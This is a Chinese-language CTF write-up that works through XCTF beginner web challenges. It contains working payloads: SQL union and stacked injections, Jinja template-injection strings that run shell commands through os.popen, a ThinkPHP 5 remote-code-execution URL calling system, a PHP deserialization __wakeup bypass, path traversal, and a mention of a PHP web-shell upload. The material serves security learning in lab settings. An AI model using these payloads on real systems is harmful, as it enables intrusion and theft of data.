目录
baby_web
Training-WWW-Robots
PHP2
unserialize3
Web_php_unserialize
Web_php_include
warmup
ics-06
NewsCenter
upload1
supersqli
Web_python_template_injection
NaNNaNNaNNaN-Batman
php_rce
web2
baby_web题目描述:想想初始页面是哪个
那第一感觉就是index.php 然后在url里面输入后直接跳转到1.php,所以抓包试试,就出了
直接查看robots协议
上来就这个 ,啥也没有
信息收集, 后缀index.phps ,出现源码
第一个 if 如果成立的话就要退出来,显然我们要让第一个 if 不成立,就是不能上传一个变量id=admin,但是我们要让上传的这个变量id经过url解码之后等于admin,而且我们知道在当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode(编码),运行时会自动进行一次urldecode(解码) 所以我们要上传的admin必须要进行两次URL编码
找个能编码的网站真费尽啊
unserialize3class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
攻防世界unserialize3题解_黑锤的博客-CSDN博客_攻防世界unserialize3
此文章讲的很明白,学习了一波
__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。
这个是解决咱们这道题的重点了
思路就出来了,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了)
当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效,就是问题的关键所在。所以对其进行修改:
O:4:"xctf":2:{s:4:"flag";s:3:"111";} 修改属性个数
payload:
http://111.200.241.244:51023/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
这道题是绕过__wakeup()函数,利用的也算是反序列化的知识:当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时__wakeup也会失效,如果这里我不对其属性的改变,也就是不将1改为2,那么返回的东西是什么呢?
很简单,当然是立即调用__wakeup()函数可想而知返回的就是bad requests.
Web_php_unserialize还是跟着大佬学习,写的很好
攻防世界-Web_php_unserialize详解_Mr_helloword的博客-CSDN博客
直接大写绕过php ,用input
在buu学习了一次了跟着wp复现了,这次自己复现
mb_strpos()
逻辑搞清楚 ,这段代码其实就是 $_page=$page ,urlencode后也是如此
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
也就是满足 传入的$file在whitelist里 ,也就是 source.php或者hint.php,代码会一直true下去
配合hint的内容
构造payload
/?file=hint.php%253f../../../../../../../ffffllllaaaagggg
%253f 是?的 两次url编码
/?file=hint.php?../../../../../../../ffffllllaaaagggg
ics-06
只有这个页面能操作,get了一个id=1 ,然后这就是直接爆破出来
尝试一下sql注入,看见这个稳了一半了
常规注入
1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#
1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#
1' union select 1,2,(select group_concat(fl4g) from news.secret_table)#
upload1
只是前端限制必须上传jpg ,png
抓包修改后缀成php 连蚁剑
[强网杯 2019]随便注 1 - ZM思 - 博客园
就是强网杯随便住
过滤了一众关键词,使用堆叠注入查看表名
-1';show databases;#
-1';show tables;#
先把words表名改为其他名,再把1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表,
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
输入 1' oi 1=1 # 就查出来了
Web_python_template_injection题目python大概就是SSTI
没有看到注入点,这题直接放url后面就行
放两个可以用的payload
{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}
NaNNaNNaNNaN-Batman
是一个附件,一段js乱码
复制这一部分去控制台运行,然后就可以继续美化,
function $() {
var e = document.getElementById("c")
.value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('Ok');
delete _
逻辑就是构造变量e: be0f23开头,中间要匹配到233ac和c7be9,结尾要有e98aa
而且长度限制16
那就可以是be0f233ac7be98aa ,后面的代码也看球不懂
将下载的附件保存为html 就出现了一个提交表单
提交构造好的e就可了
php_rceThinkPHP V5,直接github有payload ,拿来用
GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合
这个可以打通,直接ls查目录 rce即可
http://61.147.171.105:60397?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /flag
web2
纯加密逻辑,把$miwen先rot13再翻转再base64decode,处理一下得到$_o
按照循环逻辑 反向来一遍即可
$_o = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
for($_0=strlen($_o)-1;$_0>=0;$_0--){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo $_;